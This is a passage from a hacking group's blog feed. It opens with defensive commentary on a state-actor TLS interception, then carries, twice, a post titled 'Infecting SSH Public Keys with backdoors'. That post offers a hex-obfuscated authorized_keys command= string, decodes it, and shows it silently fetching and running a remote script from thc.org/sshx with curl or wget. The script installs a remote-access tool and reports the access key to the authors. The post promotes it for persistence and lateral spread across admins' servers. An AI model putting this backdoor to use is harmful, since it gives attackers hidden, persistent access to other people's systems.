soon.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Make the server&apos;s certificate sticky. The client should yell a warning when the server&apos;s certificate changes, even &lt;strong&gt;if the new certificate is valid&lt;/strong&gt;....and &lt;em&gt;especially&lt;/em&gt; if the old certificate is not due for renewal. ???&lt;em&gt;Is there a browser plugin that does this???&lt;/em&gt; &lt;strong&gt;THIS CAN HAPPEN SOON&lt;/strong&gt;*.*&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Watch the TCP/IP/TTL counters. An incoming TCP with TTL&amp;gt;=62 means it&apos;s not a real user but an attacker/MitM connecting to your server 🤗, (&lt;strong&gt;we pity the state actor for messing this up&lt;/strong&gt;).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Store your server&apos;s key on an encrypted volume that does not auto-mount. To which only YOU have the password, (n&lt;em&gt;ot&lt;/em&gt; AWS encrypted EBS, to which AWS holds the password). It&apos;s a pain because the server won&apos;t restart automatically after a reboot: It needs an admin to enter the password - but that&apos;s the world we are living in. Get used to it.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;There is a wider problem: &lt;strong&gt;Attacks always get better&lt;/strong&gt;. Here are two problems to ponder about:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;State actors have access to the underlying VPS storage device (volume). They don&apos;t need to create a &apos;new&apos; certificate using LetsEncrypt. Instead, they can steal the existing one from the server without the server noticing it, and without having to log in to the VPS server. &lt;em&gt;???Why didn&apos;t they???&lt;/em&gt; &lt;strong&gt;&lt;mark&gt;THAT IS THE ATTACKER&apos;S OBVIOUS NEXT MOVE.&lt;/mark&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cloud Service Providers use EDGE servers (Cloudflare and all others). They do &apos;Interception&apos; as a feature: When you configure a cloud server with &apos;edge&apos; support then your server&apos;s key is loaded to the Cloud&apos;s &lt;em&gt;edge&lt;/em&gt;. All traffic is then decrypted at the edge (aka the &quot;&lt;em&gt;TLS border gateway&quot;&lt;/em&gt;). &lt;strong&gt;E2EE is dead&lt;/strong&gt;. It&apos;s more like &apos;&lt;em&gt;encrypted to the first EDGE and then all is cleartext (and readable by the Edge-Provider and state actors) until the traffic reaches your server&apos;&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;This type of attack, (when the server&apos;s private key is stolen), is hard to defend against, but easily performed by an attacker. One way to make this attack harder:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Enforce Client authentication with client keys (like SSH does). Don&apos;t use passwords. Ever.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Compare the ECDH &lt;em&gt;shared-secret&lt;/em&gt; that Alice and Bob negotiated during kex (KexEchange). When under MitM attack, this shared-secret will be different for Alice and Bob (when normally it would not): Malice, sucks to be her, cannot guess the public part of the ECDH pair. She needs to generate her own public ECDH pair, one for the Alice-side, and another one for the Bob-Side of the intercepted connection. Malice will intercept with the two different shared-secrets. Alice and Bob will end up with a different shared-secret when under attack.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Other: &lt;a target=&quot;_blank&quot; href=&quot;https://www.devever.net/~hl/xmpp-incident&quot;&gt;https://www.devever.net/~hl/xmpp-incident&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Like talking about cryptography and security? We get a hard-on every time. Join us on Telegram: &lt;a target=&quot;_blank&quot; href=&quot;https://t.me/thcorg&quot;&gt;https://t.me/thcorg&lt;/a&gt;.&lt;/p&gt;]]&gt;</content:encoded><hashnode:content>&lt;![CDATA[&lt;p&gt;Some comments regarding the recently discovered &lt;a target=&quot;_blank&quot; href=&quot;https://notes.valdikss.org.ru/jabber.ru-mitm/&quot;&gt;Interception of HTTPS/TLS/SSL traffic&lt;/a&gt; by a state actor in Germany.&lt;/p&gt;&lt;p&gt;Ten years ago, in 2013, the IETF #88 (which is the standardization body of the Internet) declared that the Internet surveillance program by the NSA (Snowden leak) constitutes an &quot;&lt;strong&gt;Attack against the Internet and the IETF&lt;/strong&gt;&quot;. Ten years later, the Internet is still under attack. HTTPS is not safe. You browsing the Internet, doing online banking, forming a political opposition, or being a journalist, &lt;strong&gt;is not safe&lt;/strong&gt;.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The interception happened at layer-7 of the ISO/OSI model. This is odd (for a state actor). Such an attack can be detected by observing the changing TCP counters (SEQ/ACK) and the TTL. The intercept should have been done at layer-3 and without changing the IP/TCP/TTL counters ...or the size of the packets.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The attacker made several mistakes. The most noticeable is the expired certificate, but also a bad CommonName (CN), TTL mess-up, network outage, and not utilizing a fully transparent proxy ...&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The attacker messed up the ARP table.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The attacker did not steal the original certificate/key from the server.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;strong&gt;The interception does not have the typical hallmarks of a professional state actor.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Recommendations for server admins and app developers:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Do not use a public Certification Authority. If you do, then the app/client should not load the entire CA bundle. It should only load the one CA that was used to sign the server&apos;s certificate.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Make use of &lt;a target=&quot;_blank&quot; href=&quot;https://en.wikipedia.org/wiki/Certificate_Transparency&quot;&gt;Certificate Transparency&lt;/a&gt; (CT) and get &lt;a target=&quot;_blank&quot; href=&quot;https://sslmate.com/certspotter/&quot;&gt;notified&lt;/a&gt; when your issuer or another Certification Authority (CA) issues a new certificate for your domain name. Most modern browsers (but not all) reject any certificate that is not logged by CT. Most (all?) other TLS applications will accept unlogged certificates.&lt;/p&gt;&lt;p&gt; Other cloud services offer to regularly check your TLS services for a changing certificate. The attacker could easily decide to &apos;not intercept&apos; the traffic from those crawlers/spiders.&lt;/p&gt;&lt;p&gt; Ultimately, it should be the client software that yells a warning when the server&apos;s certificate changes.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Certification Authority Authorization (CAA) is a voluntary option and it is not enforced by the browser or client. &lt;strong&gt;This will not happen anytime soon.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Make the server&apos;s certificate sticky. The client should yell a warning when the server&apos;s certificate changes, even &lt;strong&gt;if the new certificate is valid&lt;/strong&gt;....and &lt;em&gt;especially&lt;/em&gt; if the old certificate is not due for renewal. ???&lt;em&gt;Is there a browser plugin that does this???&lt;/em&gt; &lt;strong&gt;THIS CAN HAPPEN SOON&lt;/strong&gt;*.*&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Watch the TCP/IP/TTL counters. An incoming TCP with TTL&amp;gt;=62 means it&apos;s not a real user but an attacker/MitM connecting to your server 🤗, (&lt;strong&gt;we pity the state actor for messing this up&lt;/strong&gt;).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Store your server&apos;s key on an encrypted volume that does not auto-mount. To which only YOU have the password, (n&lt;em&gt;ot&lt;/em&gt; AWS encrypted EBS, to which AWS holds the password). It&apos;s a pain because the server won&apos;t restart automatically after a reboot: It needs an admin to enter the password - but that&apos;s the world we are living in. Get used to it.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;There is a wider problem: &lt;strong&gt;Attacks always get better&lt;/strong&gt;. Here are two problems to ponder about:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;State actors have access to the underlying VPS storage device (volume). They don&apos;t need to create a &apos;new&apos; certificate using LetsEncrypt. Instead, they can steal the existing one from the server without the server noticing it, and without having to log in to the VPS server. &lt;em&gt;???Why didn&apos;t they???&lt;/em&gt; &lt;strong&gt;&lt;mark&gt;THAT IS THE ATTACKER&apos;S OBVIOUS NEXT MOVE.&lt;/mark&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cloud Service Providers use EDGE servers (Cloudflare and all others). They do &apos;Interception&apos; as a feature: When you configure a cloud server with &apos;edge&apos; support then your server&apos;s key is loaded to the Cloud&apos;s &lt;em&gt;edge&lt;/em&gt;. All traffic is then decrypted at the edge (aka the &quot;&lt;em&gt;TLS border gateway&quot;&lt;/em&gt;). &lt;strong&gt;E2EE is dead&lt;/strong&gt;. It&apos;s more like &apos;&lt;em&gt;encrypted to the first EDGE and then all is cleartext (and readable by the Edge-Provider and state actors) until the traffic reaches your server&apos;&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;This type of attack, (when the server&apos;s private key is stolen), is hard to defend against, but easily performed by an attacker. One way to make this attack harder:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Enforce Client authentication with client keys (like SSH does). Don&apos;t use passwords. Ever.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Compare the ECDH &lt;em&gt;shared-secret&lt;/em&gt; that Alice and Bob negotiated during kex (KexEchange). When under MitM attack, this shared-secret will be different for Alice and Bob (when normally it would not): Malice, sucks to be her, cannot guess the public part of the ECDH pair. She needs to generate her own public ECDH pair, one for the Alice-side, and another one for the Bob-Side of the intercepted connection. Malice will intercept with the two different shared-secrets. Alice and Bob will end up with a different shared-secret when under attack.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Other: &lt;a target=&quot;_blank&quot; href=&quot;https://www.devever.net/~hl/xmpp-incident&quot;&gt;https://www.devever.net/~hl/xmpp-incident&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Like talking about cryptography and security? We get a hard-on every time. Join us on Telegram: &lt;a target=&quot;_blank&quot; href=&quot;https://t.me/thcorg&quot;&gt;https://t.me/thcorg&lt;/a&gt;.&lt;/p&gt;]]&gt;</hashnode:content><hashnode:coverImage>https://cdn.hashnode.com/res/hashnode/image/upload/v1697870813999/c480675b-87ff-429e-a785-10114bde69e8.jpeg</hashnode:coverImage></item><item><title><![CDATA[Infecting SSH Public Keys with backdoors]]></title><description><![CDATA[In this article, you will learn how to add a backdoor to the SSH Public Key. The backdoor will execute whenever the user logs in. The backdoor hides as an unreadable long hex-string inside ~/.ssh/authorized_keys or ~/.ssh/id_*.pub.
The source is avai...]]></description><link>https://blog.thc.org/infecting-ssh-public-keys-with-backdoors</link><guid isPermaLink="true">https://blog.thc.org/infecting-ssh-public-keys-with-backdoors</guid><category><![CDATA[Security]]></category><category><![CDATA[hacking]]></category><category><![CDATA[ssh]]></category><dc:creator><![CDATA[root]]></dc:creator><pubDate>Wed, 24 May 2023 10:52:25 GMT</pubDate><content:encoded>&lt;![CDATA[&lt;p&gt;In this article, you will learn how to add a backdoor to the SSH Public Key. The backdoor will execute whenever the user logs in. The backdoor hides as an unreadable long hex-string inside &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt; or &lt;code&gt;~/.ssh/id_*.pub.&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The source is available from &lt;a target=&quot;_blank&quot; href=&quot;https://github.com/hackerschoice/ssh-key-backdoor&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;&lt;h3 id=&quot;heading-tldr&quot;&gt;TL;DR&lt;/h3&gt;&lt;p&gt;Simply prepend any SSH Public Key with the following &lt;strong&gt;backdoor-string&lt;/strong&gt; - up until, but not including, the &lt;code&gt;ssh-ed25519 AAAAC3Nzblah...&lt;/code&gt;):&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-typescript&quot;&gt;no-user-rc,no-X11-forwarding,command=&lt;span class=&quot;hljs-string&quot;&gt;&quot;`###---POWERSHELL---`;eval $(echo 5b5b20242873746174202d632559202f62696e2f73682920213d20242873746174202d632559202e73736829205d5d202626207b203a3b746f756368202d72202f62696e2f7368202e7373683b6578706f7274204b45593d22223b62617368202d63202224286375726c202d6673534c207468632e6f72672f737368782922207c7c2062617368202d632022242877676574202d2d6e6f2d766572626f7365202d4f2d207468632e6f72672f737368782922207c7c206578697420303b7d203e2f6465762f6e756c6c20323e2f6465762f6e756c6c2026203a3b5b5b202d6e20245353485f4f524947494e414c5f434f4d4d414e44205d5d202626206578656320245353485f4f524947494e414c5f434f4d4d414e443b5b5b202d7a20245348454c4c205d5d202626205348454c4c3d2f62696e2f626173683b5b5b202d66202f72756e2f6d6f74642e64796e616d6963205d5d20262620636174202f72756e2f6d6f74642e64796e616d69633b5b5b202d66202f6574632f6d6f7464205d5d20262620636174202f6574632f6d6f74643b65786563202d61202d2428626173656e616d6520245348454c4c2920245348454c4c3b0a|xxd -r -ps);&quot;&lt;/span&gt; ssh-ed25519 AAAAC3Nzblah....&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Root is not needed.&lt;/p&gt;&lt;h3 id=&quot;heading-whats-the-purpose&quot;&gt;What&apos;s the purpose&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;For the lulz.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Re-starts your backdoor after the server reboots (similar to infecting &lt;code&gt;crontab&lt;/code&gt; or &lt;code&gt;~/.bashrc&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Spread laterally: Admins are known to copy their SSH Public Keys to new servers. Own them.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cloud deployments often copy the Admin&apos;s Public Key to new instances - and now they copy your backdoor inside as well.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3 id=&quot;heading-the-nitty-gritty&quot;&gt;The nitty-gritty&lt;/h3&gt;&lt;p&gt;OpenSSH has an &lt;a target=&quot;_blank&quot; href=&quot;https://man.openbsd.org/OpenBSD-current/man8/sshd.8#AUTHORIZED_KEYS_FILE_FORMAT&quot;&gt;unsung feature&lt;/a&gt; to execute a command (instead of a Shell) when a user successfully logs in. This feature (for example) is used by AWS to tell the customer not to log in as root:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-typescript&quot;&gt;no-port-forwarding,no-agent-forwarding,command=&lt;span class=&quot;hljs-string&quot;&gt;&quot;echo &apos;Please login as the user \&quot;ubuntu\&quot; rather than the user \&quot;root\&quot;.&apos;;echo;sleep 10;exit 142&quot;&lt;/span&gt; ssh-ed25519 AAAA...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The trick is to use OpenSSH&apos;s &lt;code&gt;command=&lt;/code&gt; feature and silently start our backdoor &lt;strong&gt;and&lt;/strong&gt; afterwards execute the user&apos;s shell (with PTY) without the user noticing it.&lt;/p&gt;&lt;h3 id=&quot;heading-the-details&quot;&gt;The Details&lt;/h3&gt;&lt;p&gt;Let&apos;s dissect the &lt;strong&gt;backdoor-string&lt;/strong&gt;: The &lt;code&gt;no-user-rc,no-X11-forwarding&lt;/code&gt; is a ruse to throw off any prying eyes. It can be omitted.&lt;/p&gt;&lt;p&gt;The &lt;code&gt;command=&lt;/code&gt; string is where the real magic happens. Here is a shorter version of a simplified &lt;strong&gt;backdoor-string&lt;/strong&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-typescript&quot;&gt;command=&lt;span class=&quot;hljs-string&quot;&gt;&quot;`###---POWERSHELL---`;eval $(echo 6563686f2048656c6c6f204261636b646f6f72|xxd -r -ps)&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;OpenSSH executes the entire string between the two quotes &lt;code&gt;&quot;&lt;/code&gt;...&lt;code&gt;&quot;&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;The &lt;code&gt;`###---POWERSHELL---`;&lt;/code&gt; is a ruse as well. It does nothing.&lt;/p&gt;&lt;p&gt;The next command, &lt;code&gt;eval&lt;/code&gt;, executes the commands that are hidden inside the encoded hex string.&lt;/p&gt;&lt;p&gt;Let&apos;s decode the hex string to reveal the actual commands that are being executed:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;$ &lt;span class=&quot;hljs-built_in&quot;&gt;echo&lt;/span&gt; 6563686f2048656c6c6f204261636b646f6f72 | xxd -r -ps&lt;span class=&quot;hljs-built_in&quot;&gt;echo&lt;/span&gt; Hello Backdoor&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This simplified backdoor only prints &quot;Hello Backdoor&quot; on log-in and then terminates the SSH connection.&lt;/p&gt;&lt;p&gt;Our &lt;strong&gt;backdoor-string&lt;/strong&gt; is more complex and decoded here:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;[[ $(&lt;span class=&quot;hljs-built_in&quot;&gt;stat&lt;/span&gt; -c%Y /bin/sh) != $(&lt;span class=&quot;hljs-built_in&quot;&gt;stat&lt;/span&gt; -c%Y .ssh) ]] &amp;amp;&amp;amp; {    touch -r /bin/sh .ssh    &lt;span class=&quot;hljs-built_in&quot;&gt;export&lt;/span&gt; KEY=&lt;span class=&quot;hljs-string&quot;&gt;&quot;&quot;&lt;/span&gt;    bash -c &lt;span class=&quot;hljs-string&quot;&gt;&quot;&lt;span class=&quot;hljs-subst&quot;&gt;$(curl -fsSL thc.org/sshx)&lt;/span&gt;&quot;&lt;/span&gt; || bash -c &lt;span class=&quot;hljs-string&quot;&gt;&quot;&lt;span class=&quot;hljs-subst&quot;&gt;$(wget --no-verbose -O- thc.org/sshx)&lt;/span&gt;&quot;&lt;/span&gt; || &lt;span class=&quot;hljs-built_in&quot;&gt;exit&lt;/span&gt; 0} &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;[[ -n &lt;span class=&quot;hljs-variable&quot;&gt;$SSH_ORIGINAL_COMMAND&lt;/span&gt; ]] &amp;amp;&amp;amp; &lt;span class=&quot;hljs-built_in&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;hljs-variable&quot;&gt;$SSH_ORIGINAL_COMMAND&lt;/span&gt;[[ -z &lt;span class=&quot;hljs-variable&quot;&gt;$SHELL&lt;/span&gt; ]] &amp;amp;&amp;amp; SHELL=/bin/bash[[ -f /run/motd.dynamic ]] &amp;amp;&amp;amp; cat /run/motd.dynamic[[ -f /etc/motd ]] &amp;amp;&amp;amp; cat /etc/motd&lt;span class=&quot;hljs-built_in&quot;&gt;exec&lt;/span&gt; -a -$(basename &lt;span class=&quot;hljs-variable&quot;&gt;$SHELL&lt;/span&gt;) &lt;span class=&quot;hljs-variable&quot;&gt;$SHELL&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Firstly it uses a canary to make sure that the backdoor is only started &lt;em&gt;once&lt;/em&gt; and not on every login: If &lt;code&gt;~/.ssh&lt;/code&gt; and &lt;code&gt;/bin/sh&lt;/code&gt; have the same date then assume that the backdoor is already installed. Otherwise set them to the same date and execute the backdoor thereafter.&lt;/p&gt;&lt;p&gt;The backdoor in this case is a backdoor-installer script pulled from &lt;a target=&quot;_blank&quot; href=&quot;http://thc.org/sshx&quot;&gt;thc.org/sshx&lt;/a&gt; and executed in memory. It starts as a background process to not slow down the user&apos;s log-in. The installer-script installs &lt;a target=&quot;_blank&quot; href=&quot;http://gsocket.io/deploy&quot;&gt;gsocket&lt;/a&gt; and if successful reports the access key and system metrics to our discord channel.&lt;/p&gt;&lt;p&gt;Thereafter the &lt;strong&gt;backdoor-string&lt;/strong&gt; checks if the user wanted to execute a command rather than a shell.&lt;/p&gt;&lt;p&gt;The last four lines are when the user logs in to a shell - the normal case:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Set the SHELL variable if not set already.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Simulate Linux&apos;s motd.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Execute the user&apos;s shell.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Keep Hacking,&lt;/p&gt;&lt;h1 id=&quot;heading-the-hackers-choice&quot;&gt;The Hacker&apos;s Choice&lt;/h1&gt;]]&gt;</content:encoded><hashnode:content>&lt;![CDATA[&lt;p&gt;In this article, you will learn how to add a backdoor to the SSH Public Key. The backdoor will execute whenever the user logs in. The backdoor hides as an unreadable long hex-string inside &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt; or &lt;code&gt;~/.ssh/id_*.pub.&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The source is available from &lt;a target=&quot;_blank&quot; href=&quot;https://github.com/hackerschoice/ssh-key-backdoor&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;&lt;h3 id=&quot;heading-tldr&quot;&gt;TL;DR&lt;/h3&gt;&lt;p&gt;Simply prepend any SSH Public Key with the following &lt;strong&gt;backdoor-string&lt;/strong&gt; - up until, but not including, the &lt;code&gt;ssh-ed25519 AAAAC3Nzblah...&lt;/code&gt;):&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-typescript&quot;&gt;no-user-rc,no-X11-forwarding,command=&lt;span class=&quot;hljs-string&quot;&gt;&quot;`###---POWERSHELL---`;eval $(echo 5b5b20242873746174202d632559202f62696e2f73682920213d20242873746174202d632559202e73736829205d5d202626207b203a3b746f756368202d72202f62696e2f7368202e7373683b6578706f7274204b45593d22223b62617368202d63202224286375726c202d6673534c207468632e6f72672f737368782922207c7c2062617368202d632022242877676574202d2d6e6f2d766572626f7365202d4f2d207468632e6f72672f737368782922207c7c206578697420303b7d203e2f6465762f6e756c6c20323e2f6465762f6e756c6c2026203a3b5b5b202d6e20245353485f4f524947494e414c5f434f4d4d414e44205d5d202626206578656320245353485f4f524947494e414c5f434f4d4d414e443b5b5b202d7a20245348454c4c205d5d202626205348454c4c3d2f62696e2f626173683b5b5b202d66202f72756e2f6d6f74642e64796e616d6963205d5d20262620636174202f72756e2f6d6f74642e64796e616d69633b5b5b202d66202f6574632f6d6f7464205d5d20262620636174202f6574632f6d6f74643b65786563202d61202d2428626173656e616d6520245348454c4c2920245348454c4c3b0a|xxd -r -ps);&quot;&lt;/span&gt; ssh-ed25519 AAAAC3Nzblah....&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Root is not needed.&lt;/p&gt;&lt;h3 id=&quot;heading-whats-the-purpose&quot;&gt;What&apos;s the purpose&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;For the lulz.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Re-starts your backdoor after the server reboots (similar to infecting &lt;code&gt;crontab&lt;/code&gt; or &lt;code&gt;~/.bashrc&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Spread laterally: Admins are known to copy their SSH Public Keys to new servers. Own them.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cloud deployments often copy the Admin&apos;s Public Key to new instances - and now they copy your backdoor inside as well.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3 id=&quot;heading-the-nitty-gritty&quot;&gt;The nitty-gritty&lt;/h3&gt;&lt;p&gt;OpenSSH has an &lt;a target=&quot;_blank&quot; href=&quot;https://man.openbsd.org/OpenBSD-current/man8/sshd.8#AUTHORIZED_KEYS_FILE_FORMAT&quot;&gt;unsung feature&lt;/a&gt; to execute a command (instead of a Shell) when a user successfully logs in. This feature (for example) is used by AWS to tell the customer not to log in as root:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-typescript&quot;&gt;no-port-forwarding,no-agent-forwarding,command=&lt;span class=&quot;hljs-string&quot;&gt;&quot;echo &apos;Please login as the user \&quot;ubuntu\&quot; rather than the user \&quot;root\&quot;.&apos;;echo;sleep 10;exit 142&quot;&lt;/span&gt; ssh-ed25519 AAAA...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The trick is to use OpenSSH&apos;s &lt;code&gt;command=&lt;/code&gt; feature and silently start our backdoor &lt;strong&gt;and&lt;/strong&gt; afterwards execute the user&apos;s shell (with PTY) without the user noticing it.&lt;/p&gt;&lt;h3 id=&quot;heading-the-details&quot;&gt;The Details&lt;/h3&gt;&lt;p&gt;Let&apos;s dissect the &lt;strong&gt;backdoor-string&lt;/strong&gt;: The &lt;code&gt;no-user-rc,no-X11-forwarding&lt;/code&gt; is a ruse to throw off any prying eyes. It can be omitted.&lt;/p&gt;&lt;p&gt;The &lt;code&gt;command=&lt;/code&gt; string is where the real magic happens. Here is a shorter version of a simplified &lt;strong&gt;backdoor-string&lt;/strong&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-typescript&quot;&gt;command=&lt;span class=&quot;hljs-string&quot;&gt;&quot;`###---POWERSHELL---`;eval $(echo 6563686f2048656c6c6f204261636b646f6f72|xxd -r -ps)&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;OpenSSH executes the entire string between the two quotes &lt;code&gt;&quot;&lt;/code&gt;...&lt;code&gt;&quot;&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;The &lt;code&gt;`###---POWERSHELL---`;&lt;/code&gt; is a ruse as well. It does nothing.&lt;/p&gt;&lt;p&gt;The next command, &lt;code&gt;eval&lt;/code&gt;, executes the commands that are hidden inside the encoded hex string.&lt;/p&gt;&lt;p&gt;Let&apos;s decode the hex string to reveal the actual commands that are being executed:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;$ &lt;span class=&quot;hljs-built_in&quot;&gt;echo&lt;/span&gt; 6563686f2048656c6c6f204261636b646f6f72 | xxd -r -ps&lt;span class=&quot;hljs-built_in&quot;&gt;echo&lt;/span&gt; Hello Backdoor&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This simplified backdoor only prints &quot;Hello Backdoor&quot; on log-in and then terminates the SSH connection.&lt;/p&gt;&lt;p&gt;Our &lt;strong&gt;backdoor-string&lt;/strong&gt; is more complex and decoded here:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;[[ $(&lt;span class=&quot;hljs-built_in&quot;&gt;stat&lt;/span&gt; -c%Y /bin/sh) != $(&lt;span class=&quot;hljs-built_in&quot;&gt;stat&lt;/span&gt; -c%Y .ssh) ]] &amp;amp;&amp;amp; {    touch -r /bin/sh .ssh    &lt;span class=&quot;hljs-built_in&quot;&gt;export&lt;/span&gt; KEY=&lt;span class=&quot;hljs-string&quot;&gt;&quot;&quot;&lt;/span&gt;    bash -c &lt;span class=&quot;hljs-string&quot;&gt;&quot;&lt;span class=&quot;hljs-subst&quot;&gt;$(curl -fsSL thc.org/sshx)&lt;/span&gt;&quot;&lt;/span&gt; || bash -c &lt;span class=&quot;hljs-string&quot;&gt;&quot;&lt;span class=&quot;hljs-subst&quot;&gt;$(wget --no-verbose -O- thc.org/sshx)&lt;/span&gt;&quot;&lt;/span&gt; || &lt;span class=&quot;hljs-built_in&quot;&gt;exit&lt;/span&gt; 0} &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;[[ -n &lt;span class=&quot;hljs-variable&quot;&gt;$SSH_ORIGINAL_COMMAND&lt;/span&gt; ]] &amp;amp;&amp;amp; &lt;span class=&quot;hljs-built_in&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;hljs-variable&quot;&gt;$SSH_ORIGINAL_COMMAND&lt;/span&gt;[[ -z &lt;span class=&quot;hljs-variable&quot;&gt;$SHELL&lt;/span&gt; ]] &amp;amp;&amp;amp; SHELL=/bin/bash[[ -f /run/motd.dynamic ]] &amp;amp;&amp;amp; cat /run/motd.dynamic[[ -f /etc/motd ]] &amp;amp;&amp;amp; cat /etc/motd&lt;span class=&quot;hljs-built_in&quot;&gt;exec&lt;/span&gt; -a -$(basename &lt;span class=&quot;hljs-variable&quot;&gt;$SHELL&lt;/span&gt;) &lt;span class=&quot;hljs-variable&quot;&gt;$SHELL&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Firstly it uses a canary to make sure that the backdoor is only started &lt;em&gt;once&lt;/em&gt; and not on every login: If &lt;code&gt;~/.ssh&lt;/code&gt; and &lt;code&gt;/bin/sh&lt;/code&gt; have the same date then assume that the backdoor is already installed. Otherwise set them to the same date and execute the backdoor thereafter.&lt;/p&gt;&lt;p&gt;The backdoor in this case is a backdoor-installer script pulled from &lt;a target=&quot;_blank&quot; href=&quot;http://thc.org/sshx&quot;&gt;thc.org/sshx&lt;/a&gt; and executed in memory. It starts as a background process to not slow down the user&apos;s log-in. The installer-script installs &lt;a target=&quot;_blank&quot; href=&quot;http://gsocket.io/deploy&quot;&gt;gsocket&lt;/a&gt; and if successful reports the access key and system metrics to our discord channel.&lt;/p&gt;&lt;p&gt;Thereafter the &lt;strong&gt;backdoor-string&lt;/strong&gt; checks if the user wanted to execute a command rather than a shell.&lt;/p&gt;&lt;p&gt;The last four lines are when the user logs in to a shell - the normal case:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Set the SHELL variable if not set already.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Simulate Linux&apos;s motd.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Execute the user&apos;s shell.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Keep Hacking,&lt;/p&gt;&lt;h1 id=&quot;heading-the-hackers-choice&quot;&gt;The Hacker&apos;s 